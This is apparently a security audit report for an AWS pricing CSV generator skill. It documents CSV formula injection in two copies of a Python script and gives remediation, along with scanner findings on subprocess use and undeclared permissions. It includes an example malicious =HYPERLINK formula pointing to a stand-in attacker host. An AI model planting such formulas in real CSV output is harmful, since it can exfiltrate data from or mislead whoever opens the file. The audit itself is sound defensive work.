Back to skill

Security audit

aws-price-csv

Security checks for vulnerabilities and agentic risk

Overview

This skill is a coherent AWS pricing CSV generator, with expected AWS API access and local CSV/cache writes that are disclosed and purpose-aligned.

Install only if you are comfortable letting the skill read your supplied pricing input, contact AWS pricing services or download public AWS pricing JSON, use configured aws-cli read-only pricing credentials, and write CSV/cache files. Treat generated CSVs as untrusted when inputs or bulk JSON are not fully trusted, because spreadsheet formulas are not neutralized.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/generate_pricing_csv.py:339
Finding

CSV Formula Injection Through Untrusted Pricing Fields

Content
View full analysis

Vulnerability Details

File Location: scripts/generate_pricing_csv.py:123, scripts/generate_pricing_csv.py:339-353, and scripts/generate_pricing_csv.py:382-383
Vulnerability Type: CSV formula injection
Risk Level: Medium

Vulnerable Code

python
name = item["name"]
python
rows.append(
    {
        "item_name": item.name,
        "service_code": item.service_code,
        "term_type": item.term_type,
        "region": args.region,
        "location": REGION_TO_LOCATION.get(args.region, ""),
        "quantity": f"{item.quantity}",
        "usage_unit": item.usage_unit or price_unit,
        "price_unit": price_unit,
        "price_per_unit_usd": f"{price}",
        "cost_usd": f"{cost}",
        "description": description,
    }
)
python
for row in rows:
    writer.writerow(row)

Technical Analysis

The script accepts fields such as name, service_code, filter-derived values, and usage units from a user-provided YAML or JSON document. The description field can also originate from a user-selected bulk pricing JSON file.

These values are passed directly to csv.DictWriter.writerow() without neutralizing spreadsheet formula prefixes. CSV quoting only preserves field boundaries; it does not prevent spreadsheet applications from interpreting a cell beginning with =, +, -, @, a tab, or a carriage return as a formula.

For example, an attacker-controlled item name could contain:

text
=HYPERLINK("https://attacker.example/collect","Open pricing details")

The resulting CSV remains syntactically valid, but a spreadsheet application may evaluate the value as a formula when a recipient opens the file. The same issue may be reached through a malicious locally supplied bulk JSON description.

Attack Path

  1. An attacker creates or modifies the pricing input YAML/JSON.
  2. The attacker places a spreadsheet formula in the `nam ...[truncated 1268 chars]
Remediation
View remediation

Remediation Suggestions

  1. Apply a centralized CSV-cell sanitization function to every textual field before passing rows to csv.DictWriter:

    python
    def sanitize_csv_cell(value: object) -> str:
        text = "" if value is None else str(value)
        if text.startswith(("=", "+", "-", "@", "\t", "\r")):
            return "'" + text
        return text
    
  2. Sanitize the complete row rather than only item_name, because other fields may originate from input files, command-line arguments, AWS responses, or user-selected bulk JSON:

    python
    safe_row = {
        key: sanitize_csv_cell(value)
        for key, value in row.items()
    }
    writer.writerow(safe_row)
    
  3. Apply the same protection to the header and total row if these values ever become configurable.

  4. Validate input types and impose reasonable length limits on names, units, service codes, and descriptions.

  5. Document that generated CSV files contain untrusted text and add regression tests covering all dangerous prefixes, including leading tab and carriage-return characters.

  6. Where preservation of exact source text is required, consider exporting a non-executable format or generating an XLSX file whose relevant cells are explicitly typed as strings.

T09 · Insecure Skill Coding Practices

Warning
Location
aws-price-csv/scripts/generate_pricing_csv.py:310
Finding

CSV Formula Injection in the Nested Script Copy

Content
View full analysis

Vulnerability Details

File Location: aws-price-csv/scripts/generate_pricing_csv.py:112, aws-price-csv/scripts/generate_pricing_csv.py:310-324, and aws-price-csv/scripts/generate_pricing_csv.py:353-354
Vulnerability Type: CSV formula injection
Risk Level: Medium

Vulnerable Code

python
name = item["name"]
python
rows.append(
    {
        "item_name": item.name,
        "service_code": item.service_code,
        "region": args.region,
        "location": REGION_TO_LOCATION.get(args.region, ""),
        "quantity": f"{item.quantity}",
        "usage_unit": item.usage_unit or price_unit,
        "price_unit": price_unit,
        "price_per_unit_usd": f"{price}",
        "cost_usd": f"{cost}",
        "description": description,
        "term_type": item.term_type,
    }
)
python
for row in rows:
    writer.writerow(row)

Technical Analysis

This duplicate implementation has the same untrusted-data flow as the root script. User-controlled YAML or JSON values are stored in the output row and written directly to CSV without spreadsheet formula neutralization. A pricing description loaded from an explicitly supplied bulk JSON file is likewise treated as trusted output text.

Values beginning with spreadsheet formula characters can consequently be interpreted as formulas rather than literal text. CSV quoting by Python's standard library does not mitigate this behavior because formula interpretation occurs after parsing, inside the spreadsheet application.

Attack Path

  1. An attacker supplies a pricing input containing a formula-prefixed name, such as a malicious HYPERLINK formula.
  2. Alternatively, the attacker supplies or replaces a bulk pricing JSON file containing a formula-prefixed price-dimension description.
  3. The nested script generates a CSV and writes the value unchanged.
  4. The resulting file is shared with or opened by a sprea ...[truncated 789 chars]
Remediation
View remediation

Remediation Suggestions

  1. Add a shared sanitizer that converts all output values to strings and prefixes cells beginning with =, +, -, @, tab, or carriage return with an apostrophe.
  2. Sanitize every textual output column, not only the item name. This must include descriptions obtained from bulk files and values originating from command-line arguments.
  3. Apply sanitization immediately before writer.writerow() so future columns cannot accidentally bypass the protection.
  4. Add automated tests using malicious values in name, service_code, usage.unit, filters, region arguments, and bulk pricing descriptions.
  5. Keep the root and nested script copies synchronized or remove the duplicate implementation to prevent security fixes from being applied to only one copy.
  6. Consider an output format with explicit string cell types when the CSV is primarily intended for spreadsheet consumption.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (12)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding

The skill describes and enables capabilities that involve shell execution, network access, and reading/writing local files, but it does not declare any explicit tool scope or permission boundaries. This creates an avoidable trust gap: an agent may invoke broad capabilities to fetch remote pricing data, access cached files, or write outputs without clear least-privilege constraints, increasing the chance of misuse, data exposure, or unintended command execution in a larger agent environment.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The main overview and operational instructions switch into Chinese and effectively force that locale for users reading the skill. The file does not indicate that language selection is optional or that the skill is intentionally limited to a Chinese-speaking audience.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · aws-price-csv/scripts/generate_pricing_csv.py (reported line 199)May include surrounding context.

python
if cli_filters:
        cmd.extend(["--filters", *cli_filters])

    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        raise PricingError(result.stderr.strip() or f"aws-cli failed for {service_code}")

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/generate_pricing_csv.py (reported line 211)May include surrounding context.

python
if cli_filters:
        cmd.extend(["--filters", *cli_filters])

    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        raise PricingError(result.stderr.strip() or f"aws-cli failed for {service_code}")

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · aws-price-csv/references/api_reference.md (reported line 4)May include surrounding context.

AWS Pricing Cheat Sheet

Price List API (GetProducts)

  • Endpoint: https://api.pricing.us-east-1.amazonaws.com/ (only available from us-east-1).
  • Required IAM permission: pricing:GetProducts.
  • CLI example:
    bash

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api_reference.md (reported line 4)May include surrounding context.

AWS Pricing Cheat Sheet

Price List API (GetProducts)

  • Endpoint: https://api.pricing.us-east-1.amazonaws.com/ (only available from us-east-1).
  • Required IAM permission: pricing:GetProducts.
  • CLI example:
    bash

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

This markdown reference is primarily written in English, but lines L031-L039 switch to Traditional Chinese for core usage instructions. That imposes a language choice on readers without opt-in or justification, which matches the language/locale policy violation criteria.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The document is primarily in English, but lines L035-L036 switch to Chinese punctuation and include Chinese text ('例如') without any note that the skill or reference is multilingual or region-specific. This can violate language/locale policy expectations because it imposes a language change on users without opt-in or justification.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This code invokes the AWS CLI to call the AWS Price List API, which transmits user-selected service and region filter data over the network. While the script description says it generates pricing CSVs, there is no explicit user-facing disclosure in this file near the operation that a remote API call occurs when using the default --source api mode.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

The script opens the user-specified output path in write mode and will create or overwrite a local CSV file. Although writing a CSV is part of the tool's purpose, this file itself provides no explicit warning, confirmation, or overwrite notice around the file write operation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The --force-refresh help string appends Japanese text (aka 即時計算) even though the rest of the script is in English and no locale choice is offered. This imposes a mixed-language user experience without opt-in and fits the language/locale policy violation criteria.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

In bulk mode, the script automatically downloads pricing data from an AWS endpoint with urlopen and writes the response to the local cache. While there is a print showing the URL, there is no prior warning in the script docstring or argument help that running bulk mode will make outbound network requests and persist downloaded data locally.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.